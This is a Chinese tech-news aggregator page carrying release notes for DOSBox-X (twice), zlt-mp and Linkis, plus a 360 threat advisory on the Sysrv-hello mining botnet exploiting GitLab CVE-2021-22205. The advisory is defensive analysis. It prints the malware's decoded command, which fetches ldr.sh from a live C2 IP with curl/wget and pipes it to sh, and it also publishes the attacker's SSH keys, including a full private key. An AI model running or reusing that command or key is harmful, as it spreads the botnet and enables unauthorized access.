首页 文章 精选 留言 我的

精选列表

搜索[智能体平台],共10000篇文章
优秀的个人博客,低调大师

DOSBox-X 0.83.21 版本发布,跨平台 DOS & PC-98 模拟器)

最新版 DOSBox-X 0.83.21 现已正式发布! 与原来专注于 DOS 游戏的 DOSBox 不同,DOSBox-X 正式打算涵盖不同类型的 DOS 软件,并实现硬件行为的准确模拟。所以除了DOS游戏外,DOSBox-X 正式支持模拟运行 Windows 3.x、9x 和 ME 的环境以及为这些版本的 Windows 编写的软件。 新功能 支持在 shell 中查看 Unicode(UTF-8 或 UTF-16)文档 DOSBox-X 现在支持 UTF8 和 UTF16 命令,允许转换 UTF-8 和 UTF-16 编码的文本以在当前代码页中查看,包括 SBCS 和 DBCS 代码页。例如,命令“UTF8 < UTF8TEXT.TXT”将在当前代码页中输出转换后的文本 UTF8TEXT.TXT,对于 UTF16 命令,有可选的 /BE & /LE 选项来指定字节序。 支持用于调制解调器和零调制解调器仿真的 ENET 可靠 UDP 现在支持 ENET 可靠 UDP 作为调制解调器和零调制解调器仿真的选项。您可以使用“sock:1”选项为与串行端口 (COM1-COM9) 连接的调制解调器/空调制解调器启用它,例如“serial1=modem listenport:5000 sock:1”让 COM1 侦听端口 5000可靠的 ENET UDP ,而不是 TCP 连接。 支持 NE2000 网络的 Slirp 后端的端口转发 NE2000 网络功能的 Slirp 后端现在支持端口转发。[ethernet, slirp] 部分中有新的配置选项“tcp_port_forwards”和“udp_port_forwards”,用于 TCP 和 UDP 端口转发选项。 支持查看或更改文件扩展名关联 DOSBox-X 现在允许您定义命令或程序以使用 ASSOC 命令打开具有特定文件扩展名的文件,例如“assoc .txt=edit”在输入 .TXT 文件名时使用 EDIT 命令打开 .TXT 文件。 DOS 命令行。还支持通配符(* 或 ?)。 支持 CONFIG 命令的更多特殊属性 CONFIG 命令现在支持特殊属性,包括“cd”、“date”、“errorlevel”、“random”、“time”和“lastmount”,以便像“CONFIG -GET cd”和“CONFIG -GET errorlevel”这样的命令将得到当前 DOS 目录和 ERRORLEVEL 值。返回值也将保存到 %CONFIG% 变量。 支持重新扫描内部虚拟驱动器 Z: 内部虚拟驱动器 Z: 现在可以像安装的本地驱动器一样重新扫描。对“drivez”目录或代码页的任何更改现在都将在 Z: 驱动器重新扫描后反映出来。 支持提供用于在启动时启动程序的命令行选项 现在有一个命令行选项“-o”,如果指定程序在启动 DOSBox-X 时启动,它允许您提供命令行选项或参数,例如 dosbox-x program.exe - o“opt1 opt2” 大大改进了对中文/日文/韩文的 DBCS 支持 DBCS 对中文/日文/韩文的支持在此版本中以各种方式进一步改进。例如,改进了对中文/日文/韩文的 IME 支持;支持位于 \\COMPUTER\FOLDER\FILEDOS 格式的 UNC 网络路径中的 DBCS 字符;ATTRIB、ECHO、TYPE、MORE 和 TRUENAME 等 DOS 命令现在可以更好地处理 DBCS 字符;现在还有一个用于 Big5-HKSCS 编码或 Big5 Unicode-At-On (Big5-UAO) 编码的隐藏代码页 951。 改进了对 Windows for Workgroups 3.11 网络的支持 此版本中改进了对 Windows for Workgroups 3.11 网络的支持,以便您在从内部 DOS 外壳运行时可以充分利用 Windows for Workgroups 3.11 的网络功能。在从 shell 运行 WFW 3.11 之前,请务必执行命令“DEVICE IFSHLP.SYS”和“NET START”,以便其网络功能按预期工作。 改进了对保存状态功能的支持 保存状态功能在此版本中得到了进一步改进,因此您可以期望保存和加载状态比以前更可靠地工作。 改进的剪贴板复制和粘贴支持 剪贴板复制和粘贴已针对不同的代码页进行了改进,包括 DBCS 代码页(包括 PC-98 模式)中的框绘图字符。此外,对于 Toshiba J-3100 模式,当您尝试选择要复制的文本时,所选文本现在将突出显示。 可用性改进 更易于使用的配置工具 在此版本中,配置工具的可用性得到了显着改进。“...”按钮被添加到值数量有限的属性中,以便您可以在新对话框中选择一个值,而不是手动输入它们。此外,当从配置工具修改时,将立即应用更多设置。 允许通过消息框强制缩放器 如果配置中指定的缩放器可能无法按预期工作并且如果没有强制,DOSBox-X 将显示一个消息框,询问是否加载缩放器,而不是总是默默地忽略它。 允许在不打开调试器的情况下输入调试器命令 “输入调试器命令”按钮被添加到“DOSBox-X 日志输出”和“代码概览”窗口(来自“调试”菜单”),用户可以直接输入调试器命令并查看结果,而无需打开调试器。此外,还添加了调试器命令 DATE 和 TIME 以查看或更改 DOSBox-X 的内部日期和时间。 允许为无效的 DOS 命令自定义处理程序 现在,您可以通过 [dos] 部分中的配置选项“badcommandhandler”在 DOS shell 中显示错误消息“错误的命令或文件名”之前指定自定义错误处理程序。例如,当通过“startcmd=true”选项启用 START 命令时,设置“badcommandhandler=start”允许在主机系统中运行指定的命令。 允许使用按键输入自动停止 Turbo 模式 DOSBox-X 现在将在检测到键盘输入时停止 Turbo(快进)模式,以便您可以在默认情况下正确键入键。您可以通过 [cpu] 部分中的配置选项“stop turbo on key”更改此行为。 允许在运行时更改大多数打印机选项 您现在可以使用 CONFIG -set 命令更改虚拟打印机配置的 [printer] 部分中的大多数配置选项,例如“CONFIG -set printoutput=png”将默认打印机输出设置为 PNG。 允许在非 Windows 系统上完成 Bash-shell 对于 Linux 和 macOS 系统,此版本现在支持 DOSBox-X 命令行的 Bash-shell 补全。 提高加载 Direct3D 像素着色器的灵活性 为了通过配置选项“pixelshader”设置 Direct3D 像素着色器,DOSBox-X 现在允许使用不带 .fx 扩展名的着色器文件名,或当前目录中的着色器文件。 能够显示或清除命令行历史记录 现在有一个 HISTORY 命令,它允许显示或清除内部 DOS shell 的命令行历史记录。命令历史通过 Tab 键影响文件完成功能的结果。 完整更新项可在更新公告中查看。

优秀的个人博客,低调大师

DOSBox-X 0.83.21 版本发布,跨平台 DOS & PC-98 模拟器

最新版 DOSBox-X 0.83.21 现已正式发布! 与原来专注于 DOS 游戏的 DOSBox 不同,DOSBox-X 正式打算涵盖不同类型的 DOS 软件,并实现硬件行为的准确模拟。所以除了DOS游戏外,DOSBox-X 正式支持模拟运行 Windows 3.x、9x 和 ME 的环境以及为这些版本的 Windows 编写的软件。 新功能 支持在 shell 中查看 Unicode(UTF-8 或 UTF-16)文档 DOSBox-X 现在支持 UTF8 和 UTF16 命令,允许转换 UTF-8 和 UTF-16 编码的文本以在当前代码页中查看,包括 SBCS 和 DBCS 代码页。例如,命令“UTF8 < UTF8TEXT.TXT”将在当前代码页中输出转换后的文本 UTF8TEXT.TXT,对于 UTF16 命令,有可选的 /BE & /LE 选项来指定字节序。 支持用于调制解调器和零调制解调器仿真的 ENET 可靠 UDP 现在支持 ENET 可靠 UDP 作为调制解调器和零调制解调器仿真的选项。您可以使用“sock:1”选项为与串行端口 (COM1-COM9) 连接的调制解调器/空调制解调器启用它,例如“serial1=modem listenport:5000 sock:1”让 COM1 侦听端口 5000可靠的 ENET UDP ,而不是 TCP 连接。 支持 NE2000 网络的 Slirp 后端的端口转发 NE2000 网络功能的 Slirp 后端现在支持端口转发。[ethernet, slirp] 部分中有新的配置选项“tcp_port_forwards”和“udp_port_forwards”,用于 TCP 和 UDP 端口转发选项。 支持查看或更改文件扩展名关联 DOSBox-X 现在允许您定义命令或程序以使用 ASSOC 命令打开具有特定文件扩展名的文件,例如“assoc .txt=edit”在输入 .TXT 文件名时使用 EDIT 命令打开 .TXT 文件。 DOS 命令行。还支持通配符(* 或 ?)。 支持 CONFIG 命令的更多特殊属性 CONFIG 命令现在支持特殊属性,包括“cd”、“date”、“errorlevel”、“random”、“time”和“lastmount”,以便像“CONFIG -GET cd”和“CONFIG -GET errorlevel”这样的命令将得到当前 DOS 目录和 ERRORLEVEL 值。返回值也将保存到 %CONFIG% 变量。 支持重新扫描内部虚拟驱动器 Z: 内部虚拟驱动器 Z: 现在可以像安装的本地驱动器一样重新扫描。对“drivez”目录或代码页的任何更改现在都将在 Z: 驱动器重新扫描后反映出来。 支持提供用于在启动时启动程序的命令行选项 现在有一个命令行选项“-o”,如果指定程序在启动 DOSBox-X 时启动,它允许您提供命令行选项或参数,例如 dosbox-x program.exe - o“opt1 opt2” 大大改进了对中文/日文/韩文的 DBCS 支持 DBCS 对中文/日文/韩文的支持在此版本中以各种方式进一步改进。例如,改进了对中文/日文/韩文的 IME 支持;支持位于 \\COMPUTER\FOLDER\FILEDOS 格式的 UNC 网络路径中的 DBCS 字符;ATTRIB、ECHO、TYPE、MORE 和 TRUENAME 等 DOS 命令现在可以更好地处理 DBCS 字符;现在还有一个用于 Big5-HKSCS 编码或 Big5 Unicode-At-On (Big5-UAO) 编码的隐藏代码页 951。 改进了对 Windows for Workgroups 3.11 网络的支持 此版本中改进了对 Windows for Workgroups 3.11 网络的支持,以便您在从内部 DOS 外壳运行时可以充分利用 Windows for Workgroups 3.11 的网络功能。在从 shell 运行 WFW 3.11 之前,请务必执行命令“DEVICE IFSHLP.SYS”和“NET START”,以便其网络功能按预期工作。 改进了对保存状态功能的支持 保存状态功能在此版本中得到了进一步改进,因此您可以期望保存和加载状态比以前更可靠地工作。 改进的剪贴板复制和粘贴支持 剪贴板复制和粘贴已针对不同的代码页进行了改进,包括 DBCS 代码页(包括 PC-98 模式)中的框绘图字符。此外,对于 Toshiba J-3100 模式,当您尝试选择要复制的文本时,所选文本现在将突出显示。 可用性改进 更易于使用的配置工具 在此版本中,配置工具的可用性得到了显着改进。“...”按钮被添加到值数量有限的属性中,以便您可以在新对话框中选择一个值,而不是手动输入它们。此外,当从配置工具修改时,将立即应用更多设置。 允许通过消息框强制缩放器 如果配置中指定的缩放器可能无法按预期工作并且如果没有强制,DOSBox-X 将显示一个消息框,询问是否加载缩放器,而不是总是默默地忽略它。 允许在不打开调试器的情况下输入调试器命令 “输入调试器命令”按钮被添加到“DOSBox-X 日志输出”和“代码概览”窗口(来自“调试”菜单”),用户可以直接输入调试器命令并查看结果,而无需打开调试器。此外,还添加了调试器命令 DATE 和 TIME 以查看或更改 DOSBox-X 的内部日期和时间。 允许为无效的 DOS 命令自定义处理程序 现在,您可以通过 [dos] 部分中的配置选项“badcommandhandler”在 DOS shell 中显示错误消息“错误的命令或文件名”之前指定自定义错误处理程序。例如,当通过“startcmd=true”选项启用 START 命令时,设置“badcommandhandler=start”允许在主机系统中运行指定的命令。 允许使用按键输入自动停止 Turbo 模式 DOSBox-X 现在将在检测到键盘输入时停止 Turbo(快进)模式,以便您可以在默认情况下正确键入键。您可以通过 [cpu] 部分中的配置选项“stop turbo on key”更改此行为。 允许在运行时更改大多数打印机选项 您现在可以使用 CONFIG -set 命令更改虚拟打印机配置的 [printer] 部分中的大多数配置选项,例如“CONFIG -set printoutput=png”将默认打印机输出设置为 PNG。 允许在非 Windows 系统上完成 Bash-shell 对于 Linux 和 macOS 系统,此版本现在支持 DOSBox-X 命令行的 Bash-shell 补全。 提高加载 Direct3D 像素着色器的灵活性 为了通过配置选项“pixelshader”设置 Direct3D 像素着色器,DOSBox-X 现在允许使用不带 .fx 扩展名的着色器文件名,或当前目录中的着色器文件。 能够显示或清除命令行历史记录 现在有一个 HISTORY 命令,它允许显示或清除内部 DOS shell 的命令行历史记录。命令历史通过 Tab 键影响文件完成功能的结果。 完整更新项可在更新公告中查看。

优秀的个人博客,低调大师

双平台挖矿僵尸网络 Sysrv-hello 盯上用户 GitLab 服务器

报告编号:B6-2021-112903 报告来源:360高级威胁研究分析中心 报告作者:360高级威胁研究分析中心 更新日期:2021-11-29 概述 近日,360安全大脑捕获到Sysrv-hello挖矿僵尸网络首次在野利用 GitLab CE/EE远程代码执行漏洞(CVE-2021-22205)攻击用户GitLab服务器进行挖矿的最新变种,目前该病毒家族的漏洞利用模块已达19个。由于GitLab 常被用于企业代码托管,因此该漏洞影响范围较广,且该漏洞无需身份验证即可成功利用,因而危害极大。广大用户可使用360安全大脑相关产品进行全面查杀,并从以下三个方面进行加固,以免遭受黑客攻击。 1. 将Gitlab升级到最新版本 2. 若非业务需要,不要在公网开放Gitlab接口,采用本地或内网访问,设置访问白名单等方式进行加固。 3. 勾选 发送新用户注册确认邮件 选项:在GitLab 【Sign-up restrictions】选项中,勾选【Send confirmation email on sign-up】 漏洞详情 -GitLab CE/EE远程代码执行漏洞(CVE-2021-22205) GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并可通过Web界面访问公开或私人项目。由于GitLab 图像解析功能中存在一处远程命令执行漏洞,攻击者可通过构造一张恶意的图片文件并上传到GitLab,从而导致远程命令执行,继而进行其他操作,如:通过滥用 GitLab API 列出所有项目(包括私有项目)。 此外,受影响版本的 GitLab CE 默认允许用户注册,且默认情况下不发送新用户注册确认邮件,因此新创建的用户可自动登录,无需其他操作,也不会向管理员发送通知。 受影响版本 安全版本 11.9 <= Gitlab CE/EE < 13.8.8 13.8.8 13.9 <= Gitlab CE/EE < 13.9.6 13.9.6 | 13.10 <= Gitlab CE/EE < 13.10.3 | 13.10.3 | 技术分析 MD5 文件名 备注 64f7f910849bc479ec72a5e2167c8d78 sys.x86_64 Linux版横向传播模块 最新变种相比之前版本的主要变化有: 1)集成新漏洞:首次集成影响较大GitLab CE/EE远程代码执行漏洞(CVE-2021-22205)利用模块 2)更高的集成度:横向传播模块sys.x86_64中还集成了用于下载网络下载工具curl-amd64的elf文件(使用base64编码) 3)更强的混淆 - /Users/k/go/src/shell/exploit/路径下的所有与漏洞利用相关的Go文件名、漏洞利用模块的关键方法名均被混淆,以增加分析难度 - 相对于2021.07.27版本,漏洞利用相关的Go文件名比之前减少2个字符 新增漏洞利用模块 最新变种首次集成了 GitLab CE/EE远程代码执行漏洞(CVE-2021-22205)利用模块,如下是攻击者利用该漏洞执行shell命令的代码片段。 内嵌下载curl的模块 与以往不同的是,横向传播模块sys.x86_64中还集成了下载网络下载工具curl-amd64的elf文件,文件名为d(使用base64编码)。 下载恶意主脚本 ldr.sh 横向传播模块sys.x86_64运行后还会执行如下base64编码的shell命令,以下载恶意主脚本ldr.sh,从而实现持久化控制。 解码后的内容如下: bash -c {echo,(curl 194.145.227.21/ldr.sh?e39dc2||curl 194.145.227.21/ldr.sh?e39dc2||curl -k 194.145.227.21/ldr.sh?e39dc2||curl -k 194.145.227.21/ldr.sh?e39dc2||wget -q -O- 194.145.227.21/ldr.sh?e39dc2)|sh 1>/dev/null 2>&1 &} 门罗币挖矿 sys.x86_64主程序运行后还会释放门罗币挖矿程序kthreaddi,以及挖矿配置文件config.json进行挖矿,对应的挖矿进程名为kthreaddk,可看到主机CPU资源几乎完全被挖矿进程占据,严重影响正常业务运转。 如图,对应的矿池地址为:194.145.227.21:5443,与C&C地址一致,本地配置文件中及抓包均未发现钱包地址,推测为攻击者自建矿池。 IoCs: 194.145.227.21 http://194.145.227.21/ldr.sh http://194.145.227.21/sys.x86_64 http://194.145.227.21/ldr.ps1 http://194.145.227.21/sys.exe MD5 文件名 备注 0fdff38895238f2259db6d186aee5a7e ldr.sh 恶意主脚本 c67607c0927154a4d2efd79ad502cc7d ldr.ps1 恶意主脚本 64f7f910849bc479ec72a5e2167c8d78 sys.x86_64 Linux版横向传播模块 16461aac44c582d04493644c42991606 sys.exe PC版横向传播模块 6db4f74c02570917e087c06ce32a99f5 kthreaddi Linux版xmrig挖矿程序 a7013a2c7fd3a6168a7c0d9eed825c32 kthreaddk.exe PC版xmrig挖矿程序 矿池:194.145.227.21:5443 ssh公钥 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaR3U1flcG9SHro9t6G8jRQsUR5ozQjsgx7x30UTwcxnrbk74LIHeTBTNZ3nak2JeqEmT85dxgo2x2L68kADT0aPX9AaghZXyZMNkjWsbnPuk0yzQ7i33hlLdrDeO9+XUVduIjfbMtrsSjg1Sk7GG9jTDi7vBQvqHbQerWu6cycDuQKb8mmFCHzY93o6g2rHtkXEpgZ5qOZeMMONvCz6aUlesOWsrYA9xE6zlgvaq/kmHyZr/HmxdA9moMd+yPrZfG055VWSRT9ijv4XCRrunXZvg7pZtI+kJsL/P7eW9/mkA9Z3TucP2buHy/TBFgyywZT1Etwppzz1nzTIKEGNs9 openssh私钥 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA2kd1NX5XBvUh66PbehvI0ULFEeaM0I7IMe8d9FE8HMZ625O+CyB3 kwUzWd52pNiXqhJk/OXcYKNsdi+vJAA09Gj1/QGoIWV8mTDZI1rG5z7pNMs0O4t94ZS3aw 3jvfl1FXbiI32zLa7Eo4NUpOxhvY0w4u7wUL6h20Hq1runMnA7kCm/JphQh82Pd6OoNqx7 ZFxKYGeajmXjDDjbws+mlJXrDlrK2APcROs5YL2qv5Jh8ma/x5sXQPZqDHfsj62XxtOeVV kkU/Yo7+Fwka7p12b4O6WbSPpCbC/z+3lvf5pAPWd07nD9m7h8v0wRYMssGU9RLcKac89Z 80yChBjbPQAAA8B/rfQef630HgAAAAdzc2gtcnNhAAABAQDaR3U1flcG9SHro9t6G8jRQs UR5ozQjsgx7x30UTwcxnrbk74LIHeTBTNZ3nak2JeqEmT85dxgo2x2L68kADT0aPX9Aagh ZXyZMNkjWsbnPuk0yzQ7i33hlLdrDeO9+XUVduIjfbMtrsSjg1Sk7GG9jTDi7vBQvqHbQe rWu6cycDuQKb8mmFCHzY93o6g2rHtkXEpgZ5qOZeMMONvCz6aUlesOWsrYA9xE6zlgvaq/ kmHyZr/HmxdA9moMd+yPrZfG055VWSRT9ijv4XCRrunXZvg7pZtI+kJsL/P7eW9/mkA9Z3 TucP2buHy/TBFgyywZT1Etwppzz1nzTIKEGNs9AAAAAwEAAQAAAQBwJhbKjUcZhAkRkPbL HktneO7X66Sd4z5oqXqydKp1/mRRPO9/uAa3uwxPOEWtHLuP3jOU3GUGIfEwJ//Md269xM /eVmOUBRinfLmTuKhJV8FqJp2Hmnvq0wYKMvC4QtstVA+MPKE673iIqolq0yjEwy5C6pD+ a3Otu4h1G6Uj/CKTUDSs72XYqdh3SzGtKwHstrFSBjckJ6g7U98u/mV9vSIMWxBNeHJM1P aj/Yg1azyAcUGWO3zxVFtDbKNwyo6qZVjB0wIMOZq3rMMq7OHIotiutYZHW9W+0gXLgH4A xsQiQuNftmF8WZyLhV4pa3WSEetul1duVEkrsPUfwfoBAAAAgQC4qOdMPYfAkQRKROjIIN MKmx/+oJl5kCe1nErljyA7ZhhX64RZmH2cUPq3ytrLL4IDfCe7jEKeiemW1jtH3x35vsmX ORzPv7z+J3kpWQrWzEv6/Q4vqEBzk7uHi3lUebfDWdVwG0kGvPVWEJO50HodG0MIeiPEWX r5IjCrAEuxBgAAAIEA/hTNaq5WmXwiQfuVq2tTp5GgIYzcmkCZwZ+AsvRXiKT8oTuJtY3P 0Zkgp1qoaN2enE3kikoReZPWA7b2gL9LjZo/v9QQc/7U4hIXP1ZC6xp22r9V08GtHUkNxp mok0Wl4B5LepQx505mB1RGprx79GEYN3nIz6MjHqt039jdevEAAACBANvtcRIDU2ShmQwn LhgZxZWLJIuI+oo686Gs+iHZ3IACrUzqAwsg5kCE7n1l2JX6IhqVQmQlEFAH3PlXsiXy8f LnBwrKLlLLR4q76nebCKMJid0AnPxI8VNnEtCltM9SjR+FTDpRStEQ12iqzxb1vOMyG0NN KlfhEQR66qqhkW0NAAAAA2tAawECAwQFBgc= -----END OPENSSH PRIVATE KEY----- 时间线 2021-11-29360高级威胁研究分析中心发布分析

优秀的个人博客,低调大师

zlt-mp v5.1.0 发布,基于 Spring Cloud Alibaba 的微服务平台

功能介绍 更新内容 特性/增强 认证中心支持单点登出 sso-demo增加单点登出支持 日志链路追踪增加spanId和parentId字段 升级spring-boot到2.5.7 升级spring-cloud到2020.0.4 问题修复 解决客户端模式授权报错问题 变更语句 Use`oauth-center`; updateoauth_client_detailssetadditional_information='{"LOGOUT_NOTIFY_URL_LIST":"http://127.0.0.1:8082/logoutNotify"}' whereclient_id='webApp'; updateoauth_client_detailssetadditional_information='{"LOGOUT_NOTIFY_URL_LIST":"http://127.0.0.1:8081/logoutNotify"}' whereclient_id='app'; 内容说明 一、认证中心支持单点登出 认证中心支持多个系统在基于OAuth2.0实现单点登录之后,当其中一个系统登出之后,其他系统也同时登出的功能。 在zlt-uaa工程中通过参数unifiedLogout来配置是否开启单点登出功能,默认为false zlt: security: auth: unifiedLogout:true 相关原理和代码解析看在线文档:https://www.kancloud.cn/zlt2000/microservices-platform/2539642 二、sso-demo增加单点登出支持 oidc-sso和web-sso这两个单点登录 demo 已经改造支持单点登出功能。 关于 demo 的具体的使用步骤大家直接看每个 demo 工程下的 README.md 文件即可。 三、日志链路追踪优化 zlt-log-spring-boot-starter工程中的日志全链路追踪,由之前的单个traceId的基础上增加 2 个字段:spanId和parentId 格式为:[traceId,spanId,parentId] [a4013b536bbda96d,2258e9dde4eb40a2,a4013b536bbda96d] 相关原理和代码解析看在线文档:https://www.kancloud.cn/zlt2000/microservices-platform/1228555 项目地址 Gitee地址:https://gitee.com/zlt2000/microservices-platform Github地址:https://github.com/zlt2000/microservices-platform 项目文档 https://www.kancloud.cn/zlt2000/microservices-platform/919417 项目更新日志 https://www.kancloud.cn/zlt2000/microservices-platform/936235

优秀的个人博客,低调大师

Linkis 1.0.1 正式发版 - 大数据平台中间件解决方案

Linkis 1.0.1对Linkis1.0.0版本发现Bug和影响性能,便利性的问题进行了修复和增强,欢迎更新升级。 Linkis 1.0.1 Linkis 1.0.1作为1.0.0的修复版本,这次版本主要修复了高并发场景下的性能bug,以及优化资源管理模块,以及修复多个已发现的bug,并优化Spark引擎支持FATE使用。 FATE (Federated AI Technology Enabler) 是微众银行AI部门发起的开源项目,为联邦学习生态系统提供了可靠的安全计算框架(https://github.com/FederatedAI/FATE)。 Abbreviations(关键字缩写): CGS: Computation Governance Services(计算治理服务) PES: Public Enhancement Services(公共增强服务) MGS: Microservice Governance Services(微服务治理服务) 增强 [Commons]Linkis-HTTPClient在上传文件时支持设置ContentType. [Commons]Linkis-HttpClient支持兼容Response的content为空. [Commons]HDFS FileSystem对象支持进行缓存. [Commons]优化Shoutdown兼容windows操作系统. [Orchestrator]ioClient支持隔离单独的Orchestrator. [PES-JobHistory]JobHistory支持记录用户提交任务的原始代码. [PES-InstanceLabel]InstanceLabel模块支持增加和移除标签信息. [PES-ErrorCode]优化错误码模块的初始化sql,移除id字段的默认值. [PES-Configuration]管理台的配置支持修改实时刷新缓存值. [PES-Configuration]管理台支持内存设置单位,默认单位是GB. [CGS-Entrance]优化支持任务提交记录客户端IP信息,以方便链路分析. [CGS-LimkisMnagager ]ECM的租户标签应该不被移除的,方便重启时保留租户标签信息. [EnginePlugin-Spark]Spark EngineConn的启动参数支持设置原生参数去支持Fate使用,例如设置python版本. Bug修复 [Commons]Logging 是建议被优化, 因为如果用户传入的内容是null会导致空指针异常. [Commons]jackson-core-asl 包存在冲突, linkis1.0在兼容CDH版本时. [PES-UDF]UDFClient存在只能获取UDF不能获取方法函数的Bug. [PES-BML]优化BML EngineConnHook的执行顺序,修复资源文件不可读问题. [PES-Configuration]Linkis管理台在设置JDBC参数时,保存会出错. [CGS-Entrance]当一个任务包含千条sql时,存在错误执行的Bug. [CGS-Entrance]当sql的limit超过5000时任务会执行失败. [CGS-Entrance]在压测同时运行一万个任务时,日志存在记录不全的情况. [CGS-Entrance]在压测10000个任务时存在任务处在 Inited/Running/Scheduled不更新的情况. [CGS-LimkisMnagager]当管理台设置引擎为2时,在schedulis进行调度时存在会启动18个引擎的情况. [CGS-LimkisMnagager]ECM管理存在concurrent label的值为空问题. [EnginePlugin-Hive]当kill 一个复杂的Hive任务时,存在不能kill Yarn上任务的偶发情况. 贡献者 Linkis 1.0.1 的发布离不开 WeDataSphere 社区的贡献者。在此感谢各位社区的贡献者! 云资源 腾讯云: https://osp-1257653870.cos.ap-guangzhou.myqcloud.com/WeDatasphere/Linkis/1.0.1/wedatasphere-linkis-1.0.1-combined-package-dist.tar.gz

优秀的个人博客,低调大师

zlt-mp v4.6.0 发布,基于 Spring Cloud Alibaba 的微服务平台

功能介绍 更新内容更新内容 特性/增强 优化授权中心支持「多用户体系」扩展 升级spring-boot到2.3.12.RELEASE 升级spring-cloud到Hoxton.SR12 升级spring-cloud-alibaba到2.2.6.RELEASE 升级redisson到3.16.0 升级spring-data-elasticsearch到4.2.3 升级transmittable到2.12.1 内容说明 一、支持多用户体系 统一认证中心uaa支持多用户类型的统一授权和鉴权扩展,当系统需要新增一种用户类型时无需修改原有的代码,增加新的实现类即可。 多用户类型指的是业务中有多种类型的 「用户」 ,而通常不同类型的用户分别存储在不同的库表中,例如C端和B端用户。 默认用户类型为admin 增加test类型用户的实现类 @Service publicclassTestUserDetailServiceImplimplementsZltUserDetailsService{ privatestaticfinalStringACCOUNT_TYPE="test"; @Override publicbooleansupports(StringaccountType){ returnACCOUNT_TYPE.equals(accountType); } @Override publicUserDetailsloadUserByUsername(Stringusername){ 。。。。。。 } } 授权test类型的用户 项目地址 Gitee地址:https://gitee.com/zlt2000/microservices-platform Github地址:https://github.com/zlt2000/microservices-platform 项目文档 https://www.kancloud.cn/zlt2000/microservices-platform/919417 项目更新日志 https://www.kancloud.cn/zlt2000/microservices-platform/936235

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册